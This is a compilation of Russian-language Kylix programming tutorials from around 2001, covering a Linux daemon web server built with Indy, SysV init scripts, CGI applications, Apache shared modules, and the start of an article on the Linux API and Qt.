Теперь следует задать цикл обработки сигналов. Можно просто проверять значение SigNum в бесконечном цикле, однако есть более изящный и менее ресурсоемкий способ - функция sigsuspend. В качестве единственного параметра этой функции передается маска сигналов - переменная типа __sigset_t. Функция sigsuspend приостанавливает выполнение вызвавшего ее потока до тех пор, пока не поступит один из сигналов, не включенных в маску. В этом случае, если обработчик сигнала не завершает процесс, функция sigsuspend возвращает управление. В следующем фрагменте выполняется установка маски (переменная SigSet) и организуется цикл обработки сигналов с использованием функции sigsuspend:

  sigfillset( SigSet );
  sigdelset( SigSet, SIGTERM );
  sigdelset( SigSet, SIGHUP );
  SigNum := 0;
  while SigNum <> SIGTERM do
  begin
    sigsuspend( SigSet );
    if SigNum = SIGHUP then
    begin
      ...
      pid := fork;
      if pid <> 0 then Break;  // old process exits
      ...
    end;
  end;

Обратите внимание на то, как обрабатывается сигнал SIGHUP. В ответ на сигнал демон создает новую копию процесса (при помощи функции fork), а старый процесс завершается. Именно ради обработки сигнала SIGHUP организован цикл while do.

Полный листинг файла dhttpd.dpr приводится в конце статьи. В программу добавлена обработка опций командной строки. Принцип обработки опций командной строки очень прост: новый процесс читает значение, записанное в файл /var/run/dhttpd.pid, с помощью функции kill посылает ранее запущенному процессу соответствующий сигнал и затем завершается.

В нашем примере не рассмотрена еще одна функция демона - ведение log-файлов. Большинство сетевых демонов записывают данные о транзакциях и о своей работе в специальные файлы. Каждое приложение ведет свой log-файл. Обычно log-файлы хранятся в директории /var/log/. Разумеется, каждое приложение может само создавать и поддерживать такие файлы, однако в Linux существует централизованный механизм ведения log-файлов - демон logd. Главное преимущество использования демона logd заключается в том, что logd скрывает детали процесса ведения log-файлов от приложения. Такие параметры, как физическое размещение файлов, задаются в процессе конфигурации демона logd и не влияют на работу приложения, записывающего логи. Например, демон logd может быть сконфигурирован таким образом, что запись log-файлов будет производиться на удаленный компьютер. Система Linux предоставляет приложениям простой интерфейс для работы с демоном logd. Основные операции выполняются при помощи трех функций: Функция openlog открывает log-файл, closelog - закрывает файл, syslog выполняет запись.

Остальное - Indy

Наша программа теперь обладает всеми атрибутами демона, но она все еще не выполняет никакой полезной работы. Программирование сетевых демонов - непростая задача. Классические демоны Unix используют дочерние процессы для параллельной обработки соединений. На практике, для ускорения работы приложения-демона, часто применяются более сложные схемы, включающие предварительное создание процессов. Подробности можно найти в [2].

В нашем распоряжении, однако, есть компоненты Indy, предоставляющие самый эффективный механизм параллельной обработки соединений - многопоточность. Для того, чтобы при помощи Indy создать Web сервер, обладающий основными функциями по работе с HTTP, нам потребуется создать объект класса TIdHTTPServer (этот класс определен в модуле IdHTTPServer) и назначить обработчик события OnCommandGet.

В создаваемом нами приложении все объекты для работы с Web определены в модуле WebServ, полный текст которого приводится в конце статьи. Константа HTTPDocsDir содержит путь к каталогу, в котором хранятся HTTP файлы. В Linux Mandrake это /var/www/html. Все операции по работе с протоколом HTTP выполняет объект WebServer класса TWebSerever. Экземпляр TWebSerever создается в начале работы демона и уничтожается при завершении процесса. Для того, чтобы наш сервер не конфликтовал со стандартным Web сервером, мы присвоим ему порт 8800. Разбирать здесь подробно работу с компонентами Indy мы не будем, так как во-первых это уже не имеет непосредственного отношения к программированию демонов, а во-вторых детали работы компонента IdHTTPServer исчерпывающе описаны в справочной системе по Indy и прилагающихся примерах.

Теперь можно проверить работу демона. Скомпилировав проект даем в режиме root команду:

# dhttpd

Командная строка тут же снова появляется на экране. Так и должно быть, ведь демон сразу переходит в фоновый режим. Для того, чтобы убедиться в том, что демон работает, откроем броузер и введем в строке адреса: http://localhost:8800/ (префикс http:// следует указывать потому, что порт 8800 не является стандартным портом протокола HTTP). В окне броузера должна появиться страница index.html из каталога, заданного в константе HTTPDocsDir. Если каталог HTTPDocsDir содержит несколько файлов и подкаталогов, можно проверить, как выполняется навигация. При этом следует учесть, что корневому каталогу Web-пространства соответствует каталог HTTPDocsDir. Если значение этой константы - /var/www/html, то URL http://localhost:8800/foo/bar.html будет соответствовать путь /var/www/html/foo/bar.html. Работа демона может быть завершена командой dhttpd -stop, а для перезапуска ранее запущенного демона служит команда dhttpd -restart.

"Вселение демона" в систему

Опции командной строки позволяют нам запускать и останавливать демон в ручном режиме, однако обычно демоны запускаются автоматически в ходе загрузки операционной системы. В таких системах, как Red Hat или Mandrake самый простой способ обеспечить автоматический запуск демона заключается в создании скрипта SysV Init. Скрипты SysV Init можно рассматривать как некий аналог файла autoexec.bat в системе MS-DOS. Скрипты - это исполнимые файлы, написанные на языке сценариев оболочки (shell script language). Для каждого демона создается свой файл скрипта, имя которого обычно совпадает с именем демона. В конце этой статьи приводится скрипт dhttpd, служащий для запуска демона dhttpd.

В Red Hat и Mandrake скрипт dhttpd следует скопировать в каталог /etc/rc.d/init.d/ (не забудьте придать скрипту статус исполнимого файла). Но это еще не все. Каталог /etc/rc.d/ содержит несколько подкаталогов rcX.d, где X - число от 1 до 6, соответствующее уровню, на котором работает система. Каждый из этих каталогов содержит символические ссылки на файлы скриптов, которые следует выполнять при запуске системы на соответствующем уровне. Вы должны создать символические ссылки на скрипт dhttpd в каталогах rcX.d, соответствующих уровням, в которых должен запускаться демон (ссылки можно разместить во всех каталогах). Имя ссылки на скрипт должно соответствовать шаблону SXXname, где XX двузначное число, указывающее очередность запуска программы, а name - любая последовательность символов, обычно соответствующая имени файла скрипта. Например, для скрипта dhttpd имя ссылки может иметь следующий вид: S95dhttpd. Сам исполнимый файл демона, который также имеет имя dhttpd, можно разместить в каталоге /usr/sbin/.

Если все сделано правильно, то при следующем запуске системы, в конце списка сообщений, сопровождающих процесс загрузки, можно будет увидеть сообщение о запуске демона dhttpd. Убедиться в том, что демон работает, можно, как и в предыдущем случае, введя в строке адреса броузера URL "http://localhost:8800/".

program dhttpd;

{$APPTYPE CONSOLE}

uses
  Libc, SysUtils, WebServ;

var
  F : Text;
  SigSet : __sigset_t;
  SigNum : Integer;
  pid : Integer;

// Signal handler function

procedure TranslateSig( sig : Integer ); cdecl;
begin
  SigNum := sig;
end;

begin

// Processing command line arguments

  if ParamCount > 0 then
  begin
    if ParamCount = 1 then
    begin
      SigNum := 0;
      if ParamStr(1) = '-stop' then SigNum := SIGTERM else
      if ParamStr(1) = '-restart' then SigNum := SIGHUP;
      if SigNum <> 0 then
      begin
        if FileExists( '/var/run/dhttpd.pid' ) then
        begin
          AssignFile(F, '/var/run/dhttpd.pid' );
          Reset( F );
          Read( F, pid );
          CloseFile( F );
          if kill( pid, SigNum ) = 0 then
          Halt( 0 );
        end;
        WriteLn( 'dhttpd : cannot do ' + ParamStr( 1 ) + '. Maybe the daemon
is not running?' );
        Halt( 0 );
      end;
    end;
    WriteLn( 'Use dhttpd -stop to stop the daemon or dhttpd -restart to restart it.' );
    Halt( 0 );
  end;

// Daemon initialization code

  pid := fork;
  if pid = -1 then            // fork failed
  begin
    perror( PChar('fork 1: ') );
    Halt( 1 );
  end else
  if pid <> 0 then Halt( 0 ); // parent process exits
  pid := setsid;
  if pid = -1  then  // setsid failed
  begin
    perror( PChar('setsid: ') );
    Halt( 1 );
  end;
  Close( Input );    // closing stdin
  AssignFile( Output, '/dev/null' );
  Rewrite( Output );
  AssignFile( ErrOutput, '/dev/null' );
  Rewrite( ErrOutput );

// Now process runs in the daemon mode

  WebServer := TWebServer.Create;  // Creating server object
  AssignFile( F, '/var/run/dhttpd.pid' );
  Rewrite( F );
  pid := getpid;
  WriteLn( F, pid );
  CloseFile( F );
  signal( SIGTERM, @TranslateSig );
  signal( SIGHUP, @TranslateSig );
  sigfillset( SigSet );
  sigdelset( SigSet, SIGTERM );
  sigdelset( SigSet, SIGHUP );
  SigNum := 0;
  while SigNum <> SIGTERM do
  begin
    sigsuspend( SigSet );
    WebServer.Free;
    if SigNum = SIGHUP then         // Restarting
    begin
      pid := fork;
      if pid = -1 then Halt(1);
      if pid <> 0 then Break;  // old process exits
      // Now we are in the new child process
      WebServer := TWebServer.Create;
      AssignFile( F, '/var/run/dhttpd.pid' );
      Rewrite(F);
      pid := getpid;
      WriteLn( F, pid );
      CloseFile(F);
    end;
  end;
end.

unit WebServ;

interface

uses

  IdBaseComponent, IdComponent,
  IdTCPServer, IdHTTPServer, SysUtils;

type

  TWebServer = class( TObject )
    IndyHTTP : TIdHTTPServer;
  private
    procedure HTTPCommandGet( AThread : TIdPeerThread;
    RequestInfo : TIdHTTPRequestInfo; ResponseInfo : TIdHTTPResponseInfo);
  public
    constructor Create;
    destructor  Destroy; override;
  end;

const
  HTTPDocsDir = '/var/www/html';

var
  WebServer : TWebServer;

implementation

// TWebServer methods

constructor TWebServer.Create;
begin
  inherited Create;
  IndyHTTP := TIDHTTPServer.Create( nil );
  with IndyHTTP do
  begin
    ServerSoftware := 'DAEMONstration Web server. (c) 2001 Andrei Borovsky';
    OnCommandGet := HTTPCommandGet;
    TerminateWaitTime := 5000;
    DefaultPort := 8800;
    // Activate the Server
    Active  := True;
  end;
end;

destructor TWebServer.Destroy;
begin
  IndyHTTP.Free;
  inherited Destroy;
end;

procedure TWebServer.HTTPCommandGet;
var
  FName : String;
begin
  FName := HTTPDocsDir + RequestInfo.Document;
  if FName[ Length(FName) ] = '/' then FName := FName + 'index.html' else
  if DirectoryExists( FName + '/' ) then
  begin
    // Redirecting directory without a trailing slash
    ResponseInfo.Redirect( RequestInfo.Document + '/' );
    Exit;
  end;
  if FileExists( FName ) then
  begin
    // Serving content
    IndyHTTP.ServeFile( AThread, ResponseInfo, FName );
    Exit;
  end;
  // Requested URL not found
  ResponseInfo.ResponseNo := 404;
  ResponseInfo.ResponseText := 'Requested URL not found';
  ResponseInfo.ContentText := 'Error 404 - ' + ResponseInfo.ResponseText;
  ResponseInfo.WriteHeader;
  ResponseInfo.WriteContent;
end;

end.

Скрипт dhttpd

#!/bin/sh
#
# SysV Init script for DAEMONstration Web server (dhttpd)
#
# pidfile: /var/run/dhttpd.pid
#
# Source function library.
. /etc/rc.d/init.d/functions

case $1 in
    start)
    echo -n "Starting dhttpd"
    daemon dhttpd
    echo
    touch /var/lock/subsys/dhttpd
    ;;
    stop)
    echo -n "Shutting down dhttpd"
    killproc dhttpd
    echo
    rm -f /var/lock/subsys/dhttpd
    rm -f /var/run/dhttpd.pid
    ;;
    restart)
    $0 stop
    $0 start
    ;;
    reload)
    echo -n "Reloading dhttpd:"
    killproc dhttpd -HUP
    echo
    ;;
    *)
    echo "Usage: $(basename $0) start|stop|restart|reload"
    exit 1
esac
exit 0

Литература
1. Griffin I, Nelson J (1998). Linux Network Programming, Part 1, Linux Journal, #46 February 1998
2. Griffin I, Nelson J (1998). Linux Network Programming, Part 2, Linux Journal, #47 March 1998
3. GLIBC Manual

Статья и примеры программ © 2001 Андрей Наумович Боровский.

Взято из http://forum.sources.ru


Программирование Интернет приложений в Borland Kylix. Часть II

Разработка приложений для Web-сервера.

Автор: Андрей Боровский (www.kylixportal.chat.ru)

Эта статья продолжает серию, посвященную программированию Интернет-приложений в Borland Kylix. На этот раз речь пойдет о CGI-приложениях и модулях сервера Apache.

CGI-приложения

Изначально протокол HTTP создавался для передачи по Сети документов в формате HTML и сопутствующей им графики, однако Web-броузеры оказались настолько удобны, что всемирная паутина очень быстро начала обрастать различными дополнительными функциями. Весьма заманчиво выглядит возможность использовать броузер клиента в качестве интерфейса для взаимодействия с удаленным приложением. Такое взаимодействие, разумеется, требует наличия механизма передачи команд и данных от клиента серверу. Для стандартизации механизма передачи команд клиента серверу был разработан стандарт CGI. В общих чертах работа CGI выглядит следующим образом: клиент загружает HTML страницу, содержащую форму и посылает серверу определенный в форме запрос (request), в котором указано

действие (action) и список параметров. Действие представляет собой указатель на CGI-приложение, которое должно выполнить запрос. Например действие /cgi-bin/frenchwines указывает на приложение frenchwines. Для одного приложения можно определить несколько действий, которые идентифицируются как отдельные сетевые ресурсы: /cgi-bin/frenchwines, /cgi-bin/frenchwines/, /cgi-bin/frenchwines/welcome – это разные действия приложения frenchwines. Список параметров представляет собой перечень имен параметров и их значений. Если HTML форма использует для передачи параметров метод GET, список параметров можно увидеть в адресной строке броузера после идентификатора ресурса (он отделен от идентификатора символом '?'). С точки зрения протокола HTTP CGI-запрос является командой на загрузку некоторого ресурса. В ответ на запрос сервер обычно посылает клиенту HTML документ, который как правило является динамической страницей, т. е. не хранится на диске в виде файла, а генерируется приложением.
CGI–функции могут быть реализованы на сервере в двух вариантах: в форме CGI-сценариев (CGI scripts) и в виде CGI приложений. CGI приложения представляют собой исполнимые модули, вызываемые Web-сервером. Схема взаимодействия между броузером, сервером и CGI-модулем приводится на рисунке. По своей структуре CGI приложение является обычной консольной программой. Сервер передает данные CGI приложению через переменные окружения и стандартный поток ввода, а CGI приложение передает данные серверу через свой стандартный поток вывода. Сервер запускает новую копию приложения для обработки каждого запроса. По окончании обработки запроса CGI-приложение завершается.
Далее следует пример простейшего CGI приложения, написанного в Borland Kylix. Этот пример не использует специальные средства разработки CGI приложений, входящие в состав Kylix. Модуль Libc используется для того, чтобы сделать приложение более компактным. В принципе нам было бы достаточно одного модуля SysUtils.

program simplecgi;

{$APPTYPE CONSOLE}

uses
  Libc;

var
  Method : PChar;
  Query : String;

begin
  Method := getenv( 'REQUEST_METHOD' );
  if Method = nil then
  begin
    WriteLn( 'Error : no request method' );
    Halt(0);
  end;
  WriteLn( 'Content-Type: text/html' );
  WriteLn;
  Write( '<HTML><HEAD><TITLE>Simple CGI Application</TITLE><BODY>' );
  Write( '<H2>This page was generated on the fly by the CGI application</H2>' );
  Write( '<P>You have sent data by ', String(Method), ' method</P>' );
  Write( '<P>The user agent is "', String(getenv('HTTP_USER_AGENT')), '"</P>' );
  Write( '<P>The HTTP_REFERER variable is "', String(getenv('HTTP_REFERER')), '"</P>' );
  if Method = 'GET' then
  Write( '<P>The query string is "', String(getenv('QUERY_STRING')), '"</P>' )
  else begin
    Write( '<P>The content length is ', String(getenv('CONTENT_LENGTH')), '</P>' );
    Read( Query );
    Write( '<P>The query string is "', Query, '"</P>' )
  end;
  Write( '</BODY></HTML>' );
end.

Для того, чтобы проверить работу примера, скомпилируйте проект simplecgi.dpr (исходный текст лежит здесь) и скопируйте полученный исполнимый файл в каталог CGI-приложений Web-сервера. В Linux Mandrake этим каталогом по умолчанию является /var/www/cgi-bin/ (естественно, сам Web-сервер должен быть установлен и запущен в вашей системе). Затем откройте в броузере страницу TestCGI.html. Страница TestCGI содержит две формы для передачи параметров приложению. Одна форма использует для передачи данных метод GET, другая – метод POST.
Кроме возможности создания CGI-приложений "с нуля", Borland Kylix располагает весьма удобными специальными средствами разработки приложений для Web-сервера. Kylix может создать для вас "заготовку" CGI-приложения. В окне New выберите элемент Web Server Application и в открывшемся диалоговом окне – пункт CGI standalone executable.
В качестве примера такого приложения мы рассмотрим программу, реализующую Web-интерфейс к базе данных Borland Interbase. Для компиляции и выполнения этого примера вам понадобится сервер баз данных Interbase (входит в комплект поставки Kylix SDE). Перед началом работы с примером Web-интерфейса базы данных, убедитесь, что серверы Web и Interbase установлены и нормально работают.
Приложение-пример (исходный текст лежит здесь) называется fenchwines и представляет собой Web-интерфейс к базе данных французских вин. (Напомню, что "Kylix" в переводе означает "винная чаша", так что "винная" тематика вполне соответствует рассматриваемому продукту. Для правильной компиляции и запуска демонстрационного приложения необходимо выполнить следующее: скачайте архив с базой данных, распакуйте его, скопируйте файл vina.gdb в какой-нибудь каталог. В корневом каталоге http документов вашего сервера (часто это /var/www/html) создайте каталог wdb и скопируйте в него файлы wctempl.html и barrels.jpg из архива приложения. Теперь откройте приложение в среде Kylix. При помощи менеджера проекта откройте окно Web-модуля, которое связано с модулем main. В окне Web-модуля щелкните правой кнопкой мыши по компоненту SQLConnection1 и в открывшемся меню выберите пункт Edit Connection Properties. В открывшемся диалоговом окне создайте новое соединение. В качестве драйвера базы данных выберите INTERBASE. В поле Database задайте абсолютный путь к файлу vina.gdb. Убедитесь, что поля Password и User_Name содержат значения masterkey и SYSDBA соответственно. Свойство Connection компонента SQLConnection1 должно указывать на новое соединение. Далее отредактируйте свойство HTMLFile компонента PageProducer1 так, чтобы оно содержало полный путь к файлу wctempl.html. Скомпилируйте приложение frenchwines и скопируйте исполнимый файл в каталог CGI-приложений (cgi-bin). Для того, чтобы проверить работу нашего приложения в окне броузера наберите http://localhost/cgi-bin/frenchwines. При этом в окне броузера появится приветственная HTML-страница. Форма на странице позволяет выбирать вина из базы данных по происхождению и категории. Для того, чтобы отобразить все вина, содержащиеся в базе, необходимо ввести "any" в обоих полях формы.
Структура CGI-приложения очень похожа на структуру обычного приложения Kylix. Вместо объекта TApplication в Web-приложении используется объект TWebApplication, а роль класса TForm выполняет класс TWebModule. Потомок класса TWebModule является владельцем всех компонентов, используемых в Web-приложении и ему же принадлежат методы обработки событий.

Окно компонента TWebModule с дочерними компонентами
Важнейшим элементом TWebModule является список действий Actions. В этом списке хранятся объекты TWebActionItem, определяющие действия приложения. Свойство PathInfo объекта TWebActionItem позволяет задать идентификатор действия. Если свойство PathInfo содержит пустую строку, идентификатором данного действия является само имя CGI-приложения. В других случаях идентификатор действия должен предваряться символом "/". В следующей таблице показаны примеры значений PathInfo и соответствующие им действия для приложения frenchwines, расположенного в директории /cgi-bin/.
Значение PathInfo Действие
"" /cgi-bin/frenchwines
"/" /cgi-bin/frenchwines/
"/welcome" /cgi-bin/frenchwines/welcome
/error /cgi-bin/frenchwines/error
Список Actions можно заполнить в процессе разработки приложения при помощи редактора списка. Для того, чтобы открыть окно редактора нужно в окне инспектора объектов щелкнуть по кнопке с многоточием в поле свойства Actions.
Свойство MethodType объекта TWebActionItem позволяет указать метод передачи параметров для данного действия. Метод, указанный в свойстве MethodType должен соответствовать методу, указанному в тэге FORM HTML страницы, генерирующей запрос. Значение mtAny позволяет действию обрабатывать любые запросы.
Для объекта TWebActionItem определено единственное событие – OnAction. Когда Web-сервер получает CGI-запрос, он запускает соответствующее CGI-приложение и передает ему всю необходимую информацию. В Kylix-приложении диспетчер запросов определяет, какому действию адресован запрос, и вызывает обработчик события OnAction этого действия. После выполнения обработчика OnAction приложение завершается.
Заголовок обработчика выглядит следующим образом:

type THTTPMethodEvent = procedure (Sender: TObject; Request: TWebRequest; Response: TWebResponse; var Handled: Boolean) of object;

Объект Request содержит данные о поступившем запросе. Свойства этого объекта позволяют получить сведения об адресе удаленной машины, программном обеспечении клиента, методе запроса и т. п. Для CGI-запроса в объекте Request передается также список параметров запроса. Список параметров хранится в свойстве ContentFields (если запрос передан посредством метода POST) или QueryFields (если использовался метод GET). Оба свойства имеют тип TStrings и содержат набор строк вида
ParamName=ParamValue
Объект Response описывает ответные действия приложения. Текст HTML страницы, возвращаемой приложением, передается в свойстве Content объекта Response. В простейшем CGI-приложении обработчик OnAction может выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := '<HTML><BODY><H2>Hello, World!</H2></BODY></HTML>';
end;

Рассмотрим другие примеры. В приложении frenchwines главная HTML-страница выводится при выполнении действия frenchwines/welcome. Однако, пользователь может набрать в строке броузера просто .../frenchwines или .../frenchwines/ и было бы очень удобно, если бы в этой ситуации приложение автоматически перенаправляло броузер пользователя на страницу frenchwines/welcome. Для того, чтобы приложение fenchwines выполняло такое перенаправление, в нем заданы два действия, значениями PathInfo которых являются соответственно пустая строка и символ "/". Обоим действиям можно назначить один и тот же обработчик OnAction:

procedure TWebModule1.WebModule1WebActionItem3Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Location := Request.InternalScriptName+'/welcome';
  Response.StatusCode := 301;
  Response.Content := '<HTML><BODY><H2>This page is
                                        redirected to <A HREF='+ Response.Location +'/>'
    + Request.Host + Response.Location + '</A></H2></BODY></HTML>';
end;

Статус-код 301 сообщает клиенту о необходимости перенаправить запрос по новому адресу. А что произойдет, если клиент пошлет запрос на выполнение действия, которое не определено в CGI-приложении, например frenchwines/querydb ? В этом случает Kylix-приложение сгенерирует исключение и Web-сервер выдаст неприятное сообщение о внутренней ошибке. Для того, чтобы обращение к неопределенному действию не приводило к исключительной ситуации, необходимо создать еще одно действие и присвоить свойству Default соответствующего объекта TWebActionItem значение True. Теперь это действие будет вызываться для всех запросов, вызывающих неопределенные действия. Обработчик события OnAction этого действия может выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Title := 'Resource Not Found';
  Response.StatusCode := 404;
  Response. Content := '<HTML><BODY><H2>Error 404</H2><P>Requested resource "'
    + Request.InternalScriptName+Request.PathInfo + '" is not found
                                                           on this server.</BODY></HTML>';
end;

Генераторы контента
Во всех приведенных выше примерах HTML страницы, возвращаемые сервером задавались в явном виде, путем присвоения строки HTML команд свойству Content. Очевидно, что для вывода сложных страниц с большим числом элементов такой подход непригоден. Для облегчения решения этой проблемы Kylix предоставляет несколько специальных компонентов-генераторов контента (content producers). На вкладке Internet панели компонентов Kylix раположены четыре компонента-генератора: TPageProducer, TDataSetTableProducer, TSQLQueryTableProducer и TDataSetPageProducer.
Компонент TPageProducer генерирует страницу на основе заданного шаблона. Идея этого компонента заключается в том, что на многих динамических HTML страницах изменяются только отдельные фрагменты, основная же часть страницы остается неизменной. Шаблоном для компонента TPageProducer может служить обычная HTML-страница, в которую добавлены специальные тэги, невидимые для броузера. Формат тэга имеет следующий вид:

<#TagName Param1=Value1 Param2=Value2 ...>

Шаблон может быть задан в свойстве HTMLDoc (в виде набора строк) или в свойстве HTMLFile (как имя файла). Для получения HTML страницы, построенной на основе шаблона, никаких специальных команд вызывать не нужно. Необходимо лишь прочитать свойство Content компонента TPageProducer. При этом функция, лежащая в основе свойства Content, анализирует заданный шаблон и всякий раз, когда в шаблоне встречается тэг, описанный выше, вызывает обработчик события OnHTMLTag, которому передается информация о тэге, вызвавшем событие. Обработчик события OnHTMLTag обычно возвращает строку, которой следует заменить соответствующий тэг в готовой странице. Таким образом, при обращении к свойству content возвращается строка HTML команд, в которой прозрачные тэги уже заменены динамическими значениями. При использовании компонента TPageProducer, обработчик события OnAction, возвращающий клиенту динамическую страницу, мог бы выглядеть следующим образом:

procedure TWebModule1.WebModule1WebActionItem4Action(Sender: TObject;   Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
Response.Content := PageProducer1.Content;
end;

Код выглядит очень просто, однако все можно упростить еще больше. Если все, что нужно сделать в ответ на запрос, это передать страницу, созданную компонентом-генератором контента, можно вообще обойтись без обработчика OnAction. Достаточно присвоить свойству Producer соответствующего объекта TWebActionItem ссылку на компонент-генератор.
Специально для отображения содержимого баз данных в Kylix и Delphi существуют еще три компонента-генератора Web-страниц: TDataSetTableProducer, TSQLQueryTableProducer и TDataSetPageProducer.
Компонент TDataSetTableProducer генерирует HTML страницу, на которой записи из базы данных отображаются в виде таблицы. Для того, чтобы связать компонент TDataSetTableProducer с базой данных, необходимо указать соответствующее значение в свойстве DataSet. HTML-страница генерируется при обращении к свойству Content, также, как и в случае с TPageProducer. Компонент TDataSetTableProducer обладает множеством свойств, позволяющих задать различные элементы и внешний вид генерируемой страницы. Событие OnFormatCell, возникающее в процессе генерации страницы, позволяет динамически форматировать отдельные ячейки создаваемой таблицы.

TSQLQueryTableProducer выполняет те же функции, что и TDataSetTableProducer с тем отличием, что TSQLQueryTableProducer работает с SQL запросами к базам данных, содержащими параметры, что позволяет не отображать всю таблицу целиком, а производить выборку данных на основе некоторого признака. Источником данных для компонента TSQLQueryTableProducer является компонент TSQLQuery, на который должно указывать свойство TSQLQueryTableProducer.Query. Примеры использования компонентов TDataSetTableProducer и TSQLQueryTableProducer можно видеть в приложении frenchwines. Компонент TDataSetPageProducer позволяет создавать Web-страницу, содержащую информацию из одной (текущей) записи базы данных.

Разделяемые модули для сервера Apache.
Рассмотренные в предыдущей части приложения используют универсальный интерфейс CGI и могут работать совместно с любым Web-сервером. Web-сервер Apache позволяет также использовать модули, обладающие более широкой функциональностью. Модули могут быть скомпилированы как часть ядра Apache или же реализованы в виде разделяемых библиотек. Borland Kylix позволяет создавать только модули в виде разделяемых библиотек. Для того, чтобы сервер Apache мог подключать разделяемые библиотеки, необходимо пересобрать ядро сервера, установив опцию, разрешающую загрузку разделяемых модулей. Для пересборки ядра вам потребуются исходные тексты apache (скачать их можно с www.apache.org ). Распакуйте архив дистрибутива и в коневом каталоге дистрибутива создайте файл config.status, содержащий следующий текст:

#!/bin/sh
LIBS="/usr/lib/libpthread.so" \
./configure \
"--with-layout=Apache" \
"--enable-module=so" \
"--enable-rule=SHARED_CORE" \
"$@"

Далее этому файлу следует присвоить статус исполнимого:

chmod 755 config.status

запускаем созданный скрипт:

./config.status

и даем команду

make

Теперь у нас есть версия Apache, поддерживающая разделяемые модули. Для того, чтобы установить сервер автоматически, необходимо в режиме root дать команду

make install

Учтите при этом, что после выполнения этой команды новая версия Apache может быть установлена в каталог, отличный от того, в который она была установлена ранее. Возможно, вам придется отредактировать файлы сценариев запуска и файл httpd.conf.

Если Apache был установлен в каталог /usr/local/apache/, то для запуска сервера вручную можно воспользоваться командой:

/usr/local/apache/bin/apachectl start

а для остановки:

/usr/local/apache/bin/apachectl stop

Теперь можно перейти к написанию простейшего модуля. Для создания заготовки модуля Apache в Kylix в окне New выберите элемент Web Server Application и в открывшемся диалоговом окне – пункт Apache shared module (DSO). Kylix создаст новый проект и в нем Web-модуль, аналогичный Web-модулю CGI-приложения. Разработка модулей для Apache практически аналогична разработке CGI-приложений. Сохраните ваш модуль под именем apachedemo. Создайте новое действие (при помощи свойства Actions объекта TWebModule1 и назначьте следующий обработчик событию OnAction созданного объекта-действия:

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  Response.Content := '<HTML><BODY><H2>Hello,
    World!</H2></BODY></HTML>';
end;

Откройте окно исходного текста проекта (Project|View Source) и отредактируйте текст, так чтобы он выглядел следующим образом:

library apachedemo;
uses
  WebBroker, HTTPD, ApacheApp, Main in 'Main.pas' {WebModule1: TWebModule};
exports
  apache_module name 'hello_module';
begin
  ModuleName := 'Hello_Module';
  ContentType := 'hello-handler';
  Application.Initialize;
  Application.CreateForm(TWebModule1, WebModule1);
  Application.Run;
end.

Значения переменных ModuleName и ContentType необходимы серверу Apache для идентификации модуля.

Модуль для сервера готов! Скомпилируйте проект. В результате компиляции должен быть создан файл libapachedemo.so. Скопируйте этот файл в каталог разделяемых модулей сервера Apache (если сервер был установлен в каталог /usr/local/apache/, каталогом разделяемых модулей будет /usr/local/apache/libexec. Далее внесите следующие строки в файл httpd.conf:

LoadModule hello_module libexec/libHelloModule.so
<Location /hello>
SetHandler hello-handler
</Location>

После директивы LoadModule следует имя модуля (указанное в директиве exports библиотеки) и путь к файлу, в котором размещен модуль. Команда Location позволяет задать URL, соответствующую обработчику hello-handler. Для того, чтобы проверить работу модуля, перезапустите Web-сервер и в окне броузера наберите:

http://localhost/hello.

Теперь рассмотрим более интересный пример. Допустим, на вашем Web-сервере размещены файлы с исходными текстами Kylix-программ (файлы *.pas и *.dpr) и вы хотите, чтобы пользователям эти файлы передавались не в текстовом формате, а в формате HTML, с разметкой синтаксиса, характерной для Delphi и Kylix. Конечно, эту проблему можно решить, конвертируя все файлы исходных текстов в формат HTML перед размещением их на сервере, но мы пойдем другим путем. Файлы исходных текстов размещаются на сервере в обычном текстовом формате, а специальный модуль сервера Apache будет конвертировать их в формат HTML "налету", перед посылкой клиенту. Исходный текст модуля находится здесь. Текстовый файл reserved содержит список зарезервированных слов (которые выделяются жирным шрифтом). Скопируйте этот файл в какой-нибудь каталог (например /usr/local/apache/libexec/) и укажите путь к этому файлу в константе ReservedPath в файле main.pas. Скомпилируйте проект и скопируйте полученную библиотеку libpas2html.so в каталог libexec. В файл httpd.conf добавьте следующие строки:

LoadModule pas2html_module libexec/libpas2html.so
AddType text/html .pas
AddHandler pas2html-handler .pas
AddType text/html .dpr
AddHandler pas2html-handler .dpr

После этого следует перезапустить Web-сервер. Теперь все файлы с расширениями .pas и .dpr, находящиеся в Web-подкаталогах, будут автоматически конвертироваться в формат HTML перед посылкой клиенту.

Статья и примеры программ © 2001 Андрей Наумович Боровский.

Взято из http://forum.sources.ru


Using a DSO on Apache 2.0.43, created with Kylix 3

After compiling and installing Apache 2.0.39 with DSO support, deploying an .so file built with Kylix 3 doesn't work.

You need to change MODULE_MAGIC_NUMBER_MAJOR in HTTPD.pas file to the following: MODULE_MAGIC_NUMBER_MAJOR = 20020903;


QT и Linux API

Cодержание раздела:

Взаимодействие с системой: Linux API и Qt library
Перехватчики событий, сигналы и слоты
Как перехватывать kernel-signals?
Как получить имя текущего пользователя?
Обработка событий Qt в Kylix-приложении
Libqt для Kylix с поддержкой сглаживания New!
Как использовать Tray под Linux New!


Взаимодействие с системой: Linux API и Qt library

Автор: Андрей Боровский (www.kylixportal.chat.ru)

В процессе разработки приложений в средах Delphi и Kylix время от времени возникает необходимость в обращении непосредственно к прикладному интерфейсу системы. Это происходит по двум причинам: во-первых, несмотря на широчайший выбор компонентов, библиотека VCL/CLX не в состоянии охватить все возможности, предоставляемые операционной системой. Во-вторых, даже в том случае, когда среда разработки предоставляет готовый компонент, обладающий соответствующей функциональностью, в целях повышения быстродействия имеет смысл использовать системные функции, лежащие в основе компонента.

В Delphi интерфейсы большинства системных функций определены в библиотеках времени выполнения (run-time libraries), а для упрощения реализации недостающих интерфейсов в язык Object Pascal введены элементы, облегчающие "перевод" деклараций функций и объектов с С++ на Object Pascal и взаимодействие с системными библиотеками. Фактически, можно утверждать, что интерфейс Win32 API полностью доступен в Delphi.

